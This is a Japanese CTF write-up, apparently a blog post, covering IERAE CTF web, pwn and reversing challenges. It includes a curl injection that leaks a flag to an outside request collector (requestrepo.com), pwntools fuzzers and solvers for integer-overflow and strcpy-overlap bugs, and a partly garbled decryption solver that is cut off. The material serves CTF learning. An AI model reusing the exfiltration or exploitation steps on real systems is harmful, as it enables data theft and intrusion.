frontend.ts
はapiKey
パラメーターとしてフラグ内容を付与したリクエストを送信するため、後はHTTPリクエストを受けるサーバーを準備する必要があります。今回はrequestrepo.comを使いました。
curl 'http://198.51.100.1:3000/search?user=\\hostname.requestrepo.com'
を実行して、requestrepo.comページを確認すると、リクエストが届いていてフラグを入手できました: IERAE{yey!you_got_a_web_warmup_flag!}
[pwn, warmup] This is warmup (193 teams solves, 48 points)
Trust me. If this problem is too difficult for you, I don't mind you burying me in the ground! nc (接続先IPアドレス省略) 5002
「ババーン」という効果音が頭をよぎる問題文です。配布ファイルとして、問題本体のchal
と、元ソースのchal.c
などがありました:
$ file * Dockerfile: ASCII text chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=01dc680a2bcd97cb45c3c7abc12be131c67ccf25, for GNU/Linux 3.2.0, not stripped chal.c: C source, ASCII text docker-compose.yml: ASCII text flag.txt: ASCII text $
chal.c
は次の内容でした:
// gcc chal.c -o chal #include <stdio.h> #include <stdlib.h> #include <signal.h> void win(int sig) { char flag[128] = {}; puts("Well done!"); system("cat ./flag*"); exit(0); } int main() { // If you cause SEGV, then you will get flag signal(SIGSEGV, win); setbuf(stdout, NULL); unsigned long long int nrow, ncol; printf("Enter number of rows: "); scanf("%llu", &nrow); printf("Enter number of cols: "); scanf("%llu", &ncol); if (nrow * ncol < nrow) { // this is integer overflow right? puts("Don't hack!"); exit(1); } char *matrix = malloc(nrow*ncol); if (!matrix) { puts("Too large!"); exit(1); } for (unsigned long long int i=0; i<nrow; i++) { for (unsigned long long int j=0; j<ncol; j++) { matrix[i*ncol+j] = (i+j) % 2; } } puts("I made Ichimatsu design for you!"); for (unsigned long long int i=0; i<nrow; i++) { for (unsigned long long int j=0; j<ncol; j++) { printf("%d ", matrix[i*ncol+j]); } puts(""); } }
signal(SIGSEGV, win);
で、セグメンテーションフォルトが起こった場合にwin
関数を実行するよう設定しています。その後の処理を見ると、if (nrow * ncol < nrow)
でのオーバーフローチェックに抜けがありそうです。例えばnrow
に小さな値を指定すると、オーバーフローしてもnrow * ncol >= nrow
となってチェックを抜けられそうです。
nrow
とncol
はunsigned long long int
型なので、64-bit ELFでは符号なし64-bit整数のはずです。手元のIPythonで実験しました:
In [9]: x = 2**64 In [10]: x // 5 Out[10]: 3689348814741910323 In [11]: (5 * (3689348814741910323 + 4)) % x Out[11]: 19
nc
接続してこの入力を与えました:
$ nc 198.51.100.1 5002 Enter number of rows: 5 Enter number of cols: 3689348814741910327 Well done! IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5} $
フラグを入手できました: IERAE{s33?n07_41w4y5_1_cr3a73_d1ff1cu1t_pr0b13m5}
[pwn, easy] Command Recorder (11 teams solves, 315 points)
This tool enables you to record and execute command sequences! nc (接続先IPアドレス省略) 5000
配布ファイルとして、問題本体のchal
と、元ソースのchal.c
がありました:
$ file * Dockerfile: ASCII text chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1db4889fc9bdfa5fb6f3616f0f0ee98912f63d42, for GNU/Linux 3.2.0, not stripped chal.c: C source, ASCII text docker-compose.yml: ASCII text flag.txt: ASCII text $
chal.c
は次の内容でした:
// gcc chal.c -o chal #include <stdio.h> #include <stdlib.h> #include <string.h> void win(void) { char flag[128] = {}; puts("Well done!"); system("cat ./flag*"); exit(0); } void show_menu(void) { puts("1. Push command to the end of sequence"); puts("2. Pop command from sequence"); puts("3. Execute command sequence"); puts("4. Clear command sequence"); puts("5. Show command sequence"); puts("6. Exit"); printf("Enter command: "); } #define BUF_SIZE 1024 char input_buf[BUF_SIZE+1]; char* read_str(void) { fgets(input_buf, BUF_SIZE+1, stdin); // Remove '\n' char *newline_ptr = strrchr(input_buf, '\n'); if (newline_ptr) *newline_ptr = '\0'; return input_buf; } int read_int(void) { return atoi(read_str()); } int cur_idx; char sequence_buf[BUF_SIZE+1]; void push_command(void) { puts("1. cat_flag"); puts("2. whoami"); puts("3. id"); puts("4. echo"); printf("Enter command: "); int idx = read_int(); switch (idx) { case 1: puts("This command is only for admin. Sorry!"); break; case 2: if (cur_idx+7 > BUF_SIZE) { puts("Error: sequence is full"); break; } memcpy(&sequence_buf[cur_idx], "whoami\n", 7); cur_idx += 7; sequence_buf[cur_idx] = '\0'; break; case 3: if (cur_idx+3 > BUF_SIZE) { puts("Error: sequence is full"); break; } memcpy(&sequence_buf[cur_idx], "id\n", 3); cur_idx += 3; sequence_buf[cur_idx] = '\0'; break; case 4: if (cur_idx+32 > BUF_SIZE) { puts("Error: sequence is full"); break; } printf("Enter argument: "); char *arg = read_str(); if (strchr(arg, '\n')) { puts("Don't try to hack, hacker!"); break; } int arg_len = strlen(arg); if (arg_len > 26) arg_len = 26; char echo_with_arg[32]; echo_with_arg[31] = '\n'; memset(echo_with_arg, ' ', 31); memcpy(echo_with_arg, "echo ", 5); memcpy(echo_with_arg+5, arg, arg_len); memcpy(&sequence_buf[cur_idx], echo_with_arg, 32); cur_idx += 32; sequence_buf[cur_idx] = '\0'; break; default: puts("Invalid command"); } } void pop_command(void) { printf("Enter index to remove: "); int idx = read_int(); if (idx < 0) { puts("Invalid index"); return; } char *cur_line = sequence_buf; while (cur_line < &sequence_buf[cur_idx]) { char *ptr = strchr(cur_line, '\n'); if (!ptr) { // there must be newline at the end of buffer puts("Something went wrong..."); exit(1); } if (idx == 0) { // remove one line (i.e., cur_line ~ ptr) // to remove the command strcpy(cur_line, ptr+1); cur_idx = strlen(sequence_buf); return; } cur_line = ptr+1; idx--; } puts("Invalid index"); return; } void execute_sequence(void) { char *cur_line = sequence_buf; while (cur_line < &sequence_buf[cur_idx]) { char *ptr = strchr(cur_line, '\n'); if (!ptr) { // there must be newline at the end of buffer puts("Something went wrong..."); exit(1); } if (strncmp(cur_line, "cat_flag\n", 9) == 0) { win(); } else if (strncmp(cur_line, "whoami\n", 7) == 0) { system("whoami"); } else if (strncmp(cur_line, "id\n", 3) == 0) { system("id"); } else if (strncmp(cur_line, "echo ", 5) == 0) { *ptr = '\0'; puts(cur_line+5); *ptr = '\n'; } cur_line = ptr+1; } } void clear_sequence(void) { sequence_buf[0] = '\0'; cur_idx = 0; } void show_sequence(void) { puts("Current sequence:"); puts("==============================="); printf("%s", sequence_buf); puts("==============================="); } int main() { setbuf(stdout, NULL); while (1) { show_menu(); int cmd = read_int(); if (cmd == 6) break; switch (cmd) { case 1: push_command(); break; case 2: pop_command(); break; case 3: execute_sequence(); break; case 4: clear_sequence(); break; case 5: show_sequence(); break; } } return 0; }
長いですが、次のことを行っています:
push_command()
では、次の3個のいずれかをバッファへ追加できます(cat_flag
はadmin専用とのことで追加できません)。"whoami\n"
"id\n"
- 「
"echo "
, 入力値またはスペース 合計必ず26文字 の文字列,"\n"
」の結合結果- 入力値に
"\n"
は含められません
- 入力値に
pop_command()
では指定位置のコマンドを削除するとあります。ただ何かと怪しい不安な処理です。execute_sequence()
実行時に、バッファ中に"cat_flag\n"
行があればフラグを表示してくれます。clear_sequence()
でバッファの使用済みindexを0に戻したり、show_sequence()
でバッファ内容を表示できたりします。
pop_command()
での削除処理が見るからに怪しいので手動で適当に試していると、削除時に文字の重複が表れることが分かりました:
Enter command: 5 Current sequence: =============================== whoami whoami whoami whoami whoami id id id =============================== 1. Push command to the end of sequence 2. Pop command from sequence 3. Execute command sequence 4. Clear command sequence 5. Show command sequence 6. Exit Enter command: 2 Enter index to remove: 0 1. Push command to the end of sequence 2. Pop command from sequence 3. Execute command sequence 4. Clear command sequence 5. Show command sequence 6. Exit Enter command: 5 Current sequence: =============================== whoami whoami whoami id imi id id id =============================== 1. Push command to the end of sequence 2. Pop command from sequence 3. Execute command sequence 4. Clear command sequence 5. Show command sequence 6. Exit Enter command:
上記の例では、imi
という行が現れています。
この現象が発生する理由は、pop_command()
中で行削除として呼び出しているstrcpy
関数についてstrcpy, strcpy_s - cppreference.comを見るとThe behavior is undefined if the strings overlap.
とあるためだと思います。おそらくstrcpy
関数は重複がないことを前提にSIMD命令等で高速化されていて、その都合で重複する領域を渡すとバッファ内容が変になるのだと思います。
さて、後はどうにかして、echo
コマンド用の任意文字入力や上記の現象を使ってcat_flag
行を生成する必要があります。ただ人力で調整するのが大分大変そうに思ったので、ファジングで探すことにしました。試行錯誤した後のファザーです:
#!/usr/bin/env python import random import pwn import tqdm def fuzz(io: pwn.tube) -> list[int] | None: BUF_SIZE = 1024 total = 0 def push_command_whoami(): nonlocal total if total + 7 >= BUF_SIZE: return io.sendlineafter(b"Enter command: ", b"1") io.sendlineafter(b"Enter command: ", b"2") total += 7 def push_command_id(): nonlocal total if total + 3 >= BUF_SIZE: return io.sendlineafter(b"Enter command: ", b"1") io.sendlineafter(b"Enter command: ", b"3") total += 3 def push_command_echo(message: bytes): nonlocal total if total + 32 >= BUF_SIZE: return io.sendlineafter(b"Enter command: ", b"1") io.sendlineafter(b"Enter command: ", b"4") io.sendlineafter(b"Enter argument: ", message) total += 32 def pop_command(index: int): io.sendlineafter(b"Enter command: ", b"2") io.sendlineafter(b"Enter index to remove: ", str(index).encode()) def execute_sequence(): io.sendlineafter(b"Enter command: ", b"3") def clear_sequence(): io.sendlineafter(b"Enter command: ", b"4") def show_sequence() -> str: io.sendlineafter(b"Enter command: ", b"5") separetor = b"===============================" io.recvuntil(separetor) content = io.recvuntil(separetor) return (separetor + content).decode() COUNT = 40 result = [] for i in range(COUNT): command = random.randint(0, 11) if i == COUNT - 1: command = 11 # 最後はpopして状態確認 result.append(command) if 0 <= command <= 2: payload = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" push_command_echo(payload) # 空白文字を入れさせない elif 3 <= command <= 5: push_command_whoami() elif 6 <= command <= 9: push_command_id() elif command == 10: clear_sequence() else: pop_command(0) seq = show_sequence() if any( map(lambda line: len(line) == 8 and line.isupper(), seq.splitlines()) ): print(seq) print(result) return result return None pwn.context.log_level = "CRITICAL" for i in tqdm.trange(1000, leave=False): with pwn.remote("localhost", 5000) as io: try: if fuzz(io): exit() except EOFError: pass
実行していると、次の出力が得られました:
$ ./fuzz.py 63%|██████████████████████████████████████████████████████████████████████████████████████████████████████████▉ | 633/1000 [05:52<03:55, 1.56it/s]=============================== YZ whoami id whoami whoami whoami iMNOPQRSTUVWXYZ echo ABCDEFGHIJKLMNOPQRSTUVWXYZ whoami id id whoami STUVWXYZ whoami id id whoami =============================== [8, 0, 4, 8, 7, 10, 9, 5, 0, 8, 8, 10, 6, 2, 5, 11, 6, 4, 3, 4, 6, 4, 9, 0, 2, 4, 8, 8, 5, 11]
echo
用に与えた入力だけからなるSTUVWXYZ
行を生成できています!あとはSTUVWXYZ
文字列をcat_flag
へ変更すれば、フラグを得られそうです。ファザーを変更してソルバーを書きました:
#!/usr/bin/env python import pwn def solve(io: pwn.tube): def push_command_whoami(): io.sendlineafter(b"Enter command: ", b"1") io.sendlineafter(b"Enter command: ", b"2") def push_command_id(): io.sendlineafter(b"Enter command: ", b"1") io.sendlineafter(b"Enter command: ", b"3") def push_command_echo(message: bytes): io.sendlineafter(b"Enter command: ", b"1") io.sendlineafter(b"Enter command: ", b"4") io.sendlineafter(b"Enter argument: ", message) def pop_command(index: int): io.sendlineafter(b"Enter command: ", b"2") io.sendlineafter(b"Enter index to remove: ", str(index).encode()) def execute_sequence(): io.sendlineafter(b"Enter command: ", b"3") def clear_sequence(): io.sendlineafter(b"Enter command: ", b"4") def show_sequence() -> str: io.sendlineafter(b"Enter command: ", b"5") separetor = b"===============================" io.recvuntil(separetor) content = io.recvuntil(separetor) return (separetor + content).decode() # fmt: off fuzz_result = [8, 0, 4, 8, 7, 10, 9, 5, 0, 8, 8, 10, 6, 2, 5, 11, 6, 4, 3, 4, 6, 4, 9, 0, 2, 4, 8, 8, 5, 11] # fmt: on for command in fuzz_result: if 0 <= command <= 2: payload = b"ABCDEFGHIJKLMNOPQRcat_flag" # STUVWXYZだけの行ができた push_command_echo(payload) # 空白文字を入れさせない elif 3 <= command <= 5: push_command_whoami() elif 6 <= command <= 9: push_command_id() elif command == 10: clear_sequence() else: pop_command(0) # seq = show_sequence() # print(seq) seq = show_sequence() print(seq) execute_sequence() io.interactive("") # 最後にCtrl+Cで終わらせてください # with pwn.remote("localhost", 5000) as io: # solve(io) with pwn.remote("198.51.100.1", 5000) as io: solve(io)
実行しました:
$ ./solve.py [+] Opening connection to 198.51.100.1 on port 5000: Done =============================== ag whoami id whoami whoami whoami iMNOPQRcat_flag echo ABCDEFGHIJKLMNOPQRcat_flag whoami id id whoami cat_flag whoami id id whoami =============================== [*] Switching to interactive mode ubuntu uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) ubuntu ubuntu ubuntu ABCDEFGHIJKLMNOPQRcat_flag ubuntu uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu) ubuntu Well done! IERAE{wh47_A_c01ncid3nc3_f3e9202f} [*] Got EOF while reading in interactive [*] Interrupted [*] Closed connection to 198.51.100.1 port 5000
フラグを入手できました: IERAE{wh47_A_c01ncid3nc3_f3e9202f}
[rev, warmup] Assignment (127 teams solves, 140 points)
Assignment is the root of everything in procedural programs.
配布ファイルとして、chal
がありました:
$ file * chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=90b9886d7904d3183e76364bcfc755e89d235a46, for GNU/Linux 3.2.0, not stripped $
IDAで開いて逆コンパイルすると、最初から次の表示でした:
int __fastcall main(int argc, const char **argv, const char **envp) { qmemcpy(&flag, "IERAE{s0me_r4nd0m_str1ng_5a9354c}", 33); if ( argc > 1 && !strcmp(&flag, argv[1]) ) puts(&flag); return 0; }
フラグを入手できました: IERAE{s0me_r4nd0m_str1ng_5a9354c}
本記事を書く際にBinaryNinjaでも試してみると、BinaryNinjaの逆コンパイル結果でも最初からフラグが表示されました:
00001149 int32_t main(int32_t argc, char** argv, char** envp) 000011e4 __builtin_strncpy(dest: &flag, src: "IERAE{s0me_r4nd0m_str1ng_5a9354c}", n: 0x21) 00001243 if (argc s> 1 && strcmp(&flag, argv[1]) == 0) 00001270 puts(str: &flag) 0000127b return 0
ちなみに逆アセンブル表示でもともとの処理を確認すると、次のようにランダム順序で1文字ずつ構築するものでした:
.text:0000000000001158 mov cs:byte_405C, 33h ; '3' .text:000000000000115F mov cs:byte_4041, 45h ; 'E' .text:0000000000001166 mov cs:byte_4042, 52h ; 'R' .text:000000000000116D mov cs:byte_4054, 72h ; 'r' .text:0000000000001174 mov cs:byte_405A, 61h ; 'a' .text:000000000000117B mov cs:byte_404A, 5Fh ; '_' .text:0000000000001182 mov cs:byte_4060, 7Dh ; '}' .text:0000000000001189 mov cs:byte_4049, 65h ; 'e' .text:0000000000001190 mov cs:byte_4056, 6Eh ; 'n' .text:0000000000001197 mov cs:byte_4051, 5Fh ; '_' .text:000000000000119E mov cs:byte_4046, 73h ; 's' .text:00000000000011A5 mov cs:byte_4047, 30h ; '0' .text:00000000000011AC mov cs:byte_404F, 30h ; '0' .text:00000000000011B3 mov cs:byte_4050, 6Dh ; 'm' .text:00000000000011BA mov cs:byte_4055, 31h ; '1' .text:00000000000011C1 mov cs:byte_4058, 5Fh ; '_' .text:00000000000011C8 mov cs:byte_404C, 34h ; '4' .text:00000000000011CF mov cs:byte_4059, 35h ; '5' .text:00000000000011D6 mov cs:byte_405F, 63h ; 'c' .text:00000000000011DD mov cs:byte_4043, 41h ; 'A' .text:00000000000011E4 mov cs:flag, 49h ; 'I' .text:00000000000011EB mov cs:byte_405D, 35h ; '5' .text:00000000000011F2 mov cs:byte_4052, 73h ; 's' .text:00000000000011F9 mov cs:byte_4053, 74h ; 't' .text:0000000000001200 mov cs:byte_404B, 72h ; 'r' .text:0000000000001207 mov cs:byte_4048, 6Dh ; 'm' .text:000000000000120E mov cs:byte_4045, 7Bh ; '{' .text:0000000000001215 mov cs:byte_4044, 45h ; 'E' .text:000000000000121C mov cs:byte_405B, 39h ; '9' .text:0000000000001223 mov cs:byte_405E, 34h ; '4' .text:000000000000122A mov cs:byte_4057, 67h ; 'g' .text:0000000000001231 mov cs:byte_404D, 6Eh ; 'n' .text:0000000000001238 mov cs:byte_404E, 64h ; 'd'
逆コンパイラの最適化が賢いです!
[rev, was_warmup, easy] Luz Da Lua (86 teams solves, 159 points)
The luac file is compiled and tested on Lua 5.4.7 lua LuzDaLua.luac
配布ファイルとして、LuzDaLua.luac
がありました:
$ file * LuzDaLua.luac: Lua bytecode, version 5.4 $
とりあえずヘキサエディターで眺めましたが、フラグエスパーは無理そうでした。"Lua bytecode" decompile
でGoogle検索するとLua Decompilerを見つけたので、問題ファイルを投げてみました:
いい感じに逆コンパイルしてくれていそうです。最初に入力文字数を検証した後、先頭の文字から順に正誤判定をしているようです。
Luaにおける~
演算子と~=
演算子を調べると、Lua 5.4 Reference Manualに~
演算子はxor演算、~=
演算子はinequalityの意味と分かりました。後は逆コンパイル結果から正解となる入力を導出するソルバーを書きました:
#!/usr/bin/env python3 import re f = """ -- filename: @/mnt/LuzDaLua.lua -- version: lua54 -- line: [0, 0] id: 0 io.write("Input > ") input = io.read("*l") if string.len(input) ~= 28 then goto label_301 elseif string.byte(input, 1) ~ 232 ~= 161 then goto label_301 elseif string.byte(input, 2) ~ 110 ~= 43 then goto label_301 elseif string.byte(input, 3) ~ 178 ~= 224 then goto label_301 elseif string.byte(input, 4) ~ 172 ~= 237 then goto label_301 elseif string.byte(input, 5) ~ 212 ~= 145 then goto label_301 elseif string.byte(input, 6) ~ 25 ~= 98 then goto label_301 elseif string.byte(input, 7) ~ 53 ~= 121 then goto label_301 elseif string.byte(input, 8) ~ 63 ~= 74 then goto label_301 elseif string.byte(input, 9) ~ 135 ~= 230 then goto label_301 elseif string.byte(input, 10) ~ 92 ~= 3 then goto label_301 elseif string.byte(input, 11) ~ 38 ~= 23 then goto label_301 elseif string.byte(input, 12) ~ 250 ~= 137 then goto label_301 elseif string.byte(input, 13) ~ 216 ~= 135 then goto label_301 elseif string.byte(input, 14) ~ 5 ~= 86 then goto label_301 elseif string.byte(input, 15) ~ 69 ~= 117 then goto label_301 elseif string.byte(input, 16) ~ 226 ~= 189 then goto label_301 elseif string.byte(input, 17) ~ 137 ~= 186 then goto label_301 elseif string.byte(input, 18) ~ 148 ~= 240 then goto label_301 elseif string.byte(input, 19) ~ 64 ~= 53 then goto label_301 elseif string.byte(input, 20) ~ 130 ~= 225 then goto label_301 elseif string.byte(input, 21) ~ 241 ~= 197 then goto label_301 elseif string.byte(input, 22) ~ 151 ~= 227 then goto label_301 elseif string.byte(input, 23) ~ 203 ~= 250 then goto label_301 elseif string.byte(input, 24) ~ 179 ~= 220 then goto label_301 elseif string.byte(input, 25) ~ 216 ~= 182 then goto label_301 elseif string.byte(input, 26) ~ 101 ~= 4 then goto label_301 elseif string.byte(input, 27) ~ 238 ~= 130 then goto label_301 elseif string.byte(input, 28) ~ 61 ~= 64 then goto label_301 else print("Correct") end -- warn: not visited block [59] -- block#59: -- _ENV.print("Wrong") """ for line in f.splitlines(): if not line.startswith("elseif"): continue # print(line) m = re.search(r"~ (\d+) ~= (\d+)", line) assert m x = m[1] y = m[2] print(chr(int(x) ^ int(y)), end="") print()
実行しました:
$ ./solve.py IERAE{Lua_1s_S0_3duc4t1onal} $
フラグを入手できました: IERAE{Lua_1s_S0_3duc4t1onal}
[rev, easy] The Kudryavka Sequence (13 teams solves, 298 points)
The flag has been lost.
本問題の解析結果はGitHubで掲載しています。
本コンテストでは、すべての問題について配布ファイルは.tar.gz
形式で配布されています。本問題も同様でしたが、本問題の場合は展開結果がlaika.zip
と更にアーカイブファイルになっていました。laika.zip
を展開すると、各種ファイルがありました:
$ file * flag.png.laika: data laika.exe: PE32+ executable (console) x86-64, for MS Windows, 6 sections laika.zip: Zip archive data, at least v2.0 to extract, compression method=deflate statement.png: PNG image data, 2388 x 1668, 8-bit/color RGBA, non-interlaced $
処理内容読解
laika.exe
をIDAで開いて、逆コンパイル結果などを頼りにひたすら読解していくと、次の処理を行っていることが分かりました:
140001410
の関数で、flag.png
ファイルを読み込み1400016E0
の関数で、flag.png
ファイルを削除1400018D0
の関数で、リソースから取得した内容をstatement.png
ファイルへ書き込み(これは配布ファイルへ含まれているものと同一です)140001B12
付近で、GetLocalTime
関数で現在のローカル時刻を取得140001BBC
付近で、取得したローカル時刻を元に計算した値をsrand
関数へ渡して乱数シードを設定- 具体的には
srand(SystemTime.wMilliseconds + 131243 * (SystemTime.wSecond + 131243 * (SystemTime.wMinute + 131243 * (SystemTime.wHour + 131243 * (SystemTime.wDay + 131243 * (SystemTime.wDayOfWeek + 131243 * (SystemTime.wMonth + 131243 * (SystemTime.wYear + 131243))))))));
のように指定
- 具体的には
140001BE1
付近で、rand
関数を32回呼び出して、それぞれの結果下位1バイトをバッファへ格納(後で鍵として使います)140001C22
付近で、rand
関数を16回呼び出して、それぞれの結果下位1バイトをバッファへ格納(後でIVとして使います)1400010D0
の関数で、Cryptography API: Next Generation系統の関数(BCrypt
から始まる名前の関数)を使って、flag.png
ファイル内容をAES256-CBCで暗号化140001650
の関数で、AES256-CBC暗号化結果のバイト列を、rand
関数を使いつつ要素位置を変換140001CD5
付近で、位置変換後の内容をflag.png.laika
ファイルへ書き込み
変動要素はrand
関数の戻り値だけです。そのため暗号化当時のsrand
関数への引数を復元できればflag.png.laika
ファイルを復号してflag.png
を得られそうです。そしてシード値はGetLocalTime
関数の取得結果にのみ依存しています。
暗号化時の日時推測
さて、本問題の配布ファイルはlaika.zip
のアーカイブファイルで提供されていると述べました。含まれているファイルのタイムスタンプが暗号化当時のまま残っている可能性がありそうです。私の普段使いの、タイムゾーン設定がAsia/Tokyo
である環境、つまりUTC+9の環境で調査しました:
$ ls -AlF --full total 2780 -rw-rw-rw- 1 tan tan 823488 2024-09-17 12:49:20.000000000 +0900 flag.png.laika -rwxrwxrwx 1 tan tan 333824 2024-09-17 12:46:46.000000000 +0900 laika.exe* -rwxr-xr-x 1 tan tan 1361221 2024-09-21 15:42:29.408591109 +0900 laika.zip* -rw-rw-rw- 1 tan tan 317291 2024-09-17 12:49:20.000000000 +0900 statement.png $
laika.exe
は最初の方にstatement.png
ファイルを書き込み、最後の方にflag.png.laika
ファイルを書き込みます。2ファイルともタイムスタンプが2024-09-17 12:49:20
であるため、そのあたりに暗号化されたと推測できます。一方でミリ秒要素は失われているようなので、探索する必要がありそうです。
→2024/09/25追記: Discordの問題での問題談義チャンネルで、ZIPファイルのextra-fieldについての話がありました。https://mdfs.net/Docs/Comp/Archiving/Zip/ExtraFieldにextra-fieldの定義があります。その中の、種類が0x5455
つまりASCIIで"UT"
であるExtended Timestamp Extra Field
を使うと、1 January 1970 00:00:00
からの秒数つまりUNIX時間で、かつUTCで日時を表現できるとのことです。その内容はzipinfo -v FILENAME
コマンドで確認できるとのことです。
試しに、Ubuntu環境のタイムゾーンをAmerica/New_York
へ変更しました。本記事執筆時では夏時間EDT
であり、UTC-4
です。その状態で、zipinfo
コマンドを使って本問題の配布ファイルを確認しました:
$ timedatectl Local time: Tue 2024-09-24 13:59:49 EDT Universal time: Tue 2024-09-24 17:59:49 UTC RTC time: Tue 2024-09-24 20:59:49 Time zone: America/New_York (EDT, -0400) System clock synchronized: yes NTP service: active RTC in local TZ: no $ zipinfo --version 2>&1 | grep ZipInfo ZipInfo 3.00 of 20 April 2009, by Greg Roelofs and the Info-ZIP group. $ zipinfo -v laika.zip Archive: laika.zip There is no zipfile comment. End-of-central-directory record: ------------------------------- Zip archive file size: 1361221 (000000000014C545h) Actual end-cent-dir record offset: 1361199 (000000000014C52Fh) Expected end-cent-dir record offset: 1361199 (000000000014C52Fh) (based on the length of the central directory and its expected offset) This zipfile constitutes the sole disk of a single-part archive; its central directory contains 3 entries. The central directory is 270 (000000000000010Eh) bytes long, and its (expected) offset in bytes from the beginning of the zipfile is 1360929 (000000000014C421h). Central directory entry #1: --------------------------- (laika.exe分なので省略します) Central directory entry #2: --------------------------- There are an extra 8 bytes preceding this file. statement.png offset of local header from start of archive: 272174 (000000000004272Eh) bytes file system or operating system of origin: Unix version of encoding software: 2.0 minimum file system compatibility required: MS-DOS, OS/2 or NT FAT minimum software version required to extract: 2.0 compression method: deflated compression sub-type (deflation): normal file security status: not encrypted extended local header: yes file last modified on (DOS date/time): 2024 Sep 17 12:49:20 file last modified on (UT extra field modtime): 2024 Sep 16 23:49:20 local file last modified on (UT extra field modtime): 2024 Sep 17 03:49:20 UTC 32-bit CRC value (hex): cacdee7a compressed size: 264602 bytes uncompressed size: 317291 bytes length of filename: 13 characters length of extra field: 32 bytes length of file comment: 0 characters disk number on which file begins: disk 1 apparent file type: binary Unix file attributes (100666 octal): -rw-rw-rw- MS-DOS file attributes (00 hex): none The central-directory extra field contains: - A subfield with ID 0x5455 (universal time) and 13 data bytes. The local extra field has UTC/GMT modification/access/creation times. - A subfield with ID 0x7875 (Unix UID/GID (any size)) and 11 data bytes: 01 04 00 00 00 00 04 00 00 00 00. There is no file comment. Central directory entry #3: --------------------------- (flag.png.laika分ですが、statement.pngと同一日時表示なので省略します) $
file last modified on (UT extra field modtime)
行は2つあります。一方はextra-fieldsの定義通りのUTCです。もう一方のlocal
表示行は、実行環境のタイムゾーンを反映するようです。Extended Timestamp Extra Field
は秒単位の精度を持つため、UTC側の行を参照することで、statement.png
ファイルとflag.png.laika
ファイルは2024/09/17 03:49:20
台に作成されたと分かりました。
また、file last modified on (DOS date/time)
行を見ると、2024 Sep 17 12:49:20
とあります。ZIPファイルの仕様書らしいhttps://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXTの4.4.6 date and time fields: (2 bytes each)
を読んでもThe date and time are encoded in standard MS-DOS format.
表現ぐらいのみであるため、当該フィールドがUTCなのかローカル日時なのかは分かりませんでした。とはいえzipinfo
コマンド出力のfile last modified on (UT extra field modtime)
UTC表示と比較するとDOS date/time
行の日時は9時間進んでいるため、DOS date/time
日時はローカル日時で保存されている可能性が高そうです。そのため、statement.png
ファイルとflag.png.laika
ファイルはUTC+9の環境で作成された可能性が高いと分かりました。
不安要素の調査
ファイルを復号するためには、作問者様がファイルを暗号化したときのsrand
関数とrand
関数による乱数列を再現する必要があります。開発環境や実行環境に依存している可能性が怖かったので調べると、rand関数のドキュメントにThe rand function generates a well-known sequence and isn't appropriate for use as a cryptographic function.
とありました。この書きぶりから、おそらく長い間同一の実装であり、手元環境でも乱数列を再現できると判断しました。
また、GetLocalTime functionの説明にある通り、GetLocalTime
関数はローカル時刻を返します。もし作問者の方が異なるタイムゾーンで暗号化している場合は、上述のタイムスタンプとは異なる日時になる可能性があります。本コンテストの運営であるGMO Cybersecurity by Ierae, Inc.
様は日本の会社であるため、おそらくUTC+9の環境で暗号化したと推測できますが、もしかしたらタイムゾーン探索が必要になるかもしれません。
→2024/09/25追記: 前述したようにzipinfo -v FILENAME
で確認した結果から、UTC+9環境で作成された可能性が高いと分かりました。
ふと、GetLocalTime
関数でミリ秒以下も取得できるのか疑問に思ったので調べてみると、時間情報の取得 GetLocalTime() - 時間の扱い - 碧色工房が見つかりました。それによるとミリ秒以下も取得できるとのことです。というわけでやはりミリ秒以下を探索する必要があります。
ソルバーと実行結果とフラグ
念のため、作問者様が異なる標準時で暗号化したことを想定して、「ある程度の幅で1時間単位で前後」「ミリ秒要素を1ミリ秒単位で探索」するソルバーを実装しました。SYSTEMTIME
型用の時間加算関数がないことに悲しみながらwindows - performing Arithmetic on SYSTEMTIME - Stack Overflowをお借りしたり、逆コンパイル結果を盛大に流用したり、要素位置変換関数の逆変換を間違えてドハマリしたりしながら、最終的に次のソルバーを書きました:
#include<windows.h> #include<stdio.h> #include<string> #include<vector> // BCrypt系関数のリンクエラー解決用 #pragma comment(lib, "Bcrypt.lib") // _acrt_iob_func 関数がないと言われたので強引に対応 #define _acrt_iob_func(N) stderr __int64 __fastcall GetRandomRange(int min, int max) { int v3; // [rsp+20h] [rbp-18h] int v4; // [rsp+20h] [rbp-18h] v3 = rand(); v4 = rand() * v3; return rand() * v4 / (0xFFFFFFFF / (max - min + 1) + 1) + min; } void __fastcall SwapElementsUsingRand_Reverse(BYTE* pData, unsigned int dwSize) { BYTE byteSwap; // [rsp+20h] [rbp-18h] int i; // [rsp+24h] [rbp-14h] int SomethingUsingRand; // [rsp+28h] [rbp-10h] std::vector<int> position; for (i = 0; i < dwSize; ++i) { position.push_back(GetRandomRange(0, dwSize - 1)); } for (i = dwSize - 1; i >= 0; --i) { target = position[i]; byteSwap = pData[i]; pData[i] = pData[SomethingUsingRand]; pData[SomethingUsingRand] = byteSwap; } } // BCryptEncryptをBCryptDecryptへ変更しました bool __fastcall DecryptUsingBcrypt( UCHAR* pSome1, ULONG dwSome1Size, UCHAR* pSome2, ULONG dwSome2Size, BYTE* pSrc, ULONG dwSrcSize, UCHAR** ppDest, ULONG* pdwDestSize) { FILE* v8; // rax FILE* v9; // rax FILE* v10; // rax FILE* v11; // rax HANDLE ProcessHeap; // rax FILE* v13; // rax FILE* v14; // rax UCHAR* pbOutput; // [rsp+58h] [rbp-40h] SIZE_T dwBytes; // [rsp+60h] [rbp-38h] ULONG pcbResult; // [rsp+68h] [rbp-30h] BYREF BCRYPT_KEY_HANDLE phKey; // [rsp+70h] [rbp-28h] BYREF BCRYPT_ALG_HANDLE phAlgorithm; // [rsp+78h] [rbp-20h] BYREF ULONG v20; // [rsp+80h] [rbp-18h] BYREF phAlgorithm = 0LL; phKey = 0LL; pcbResult 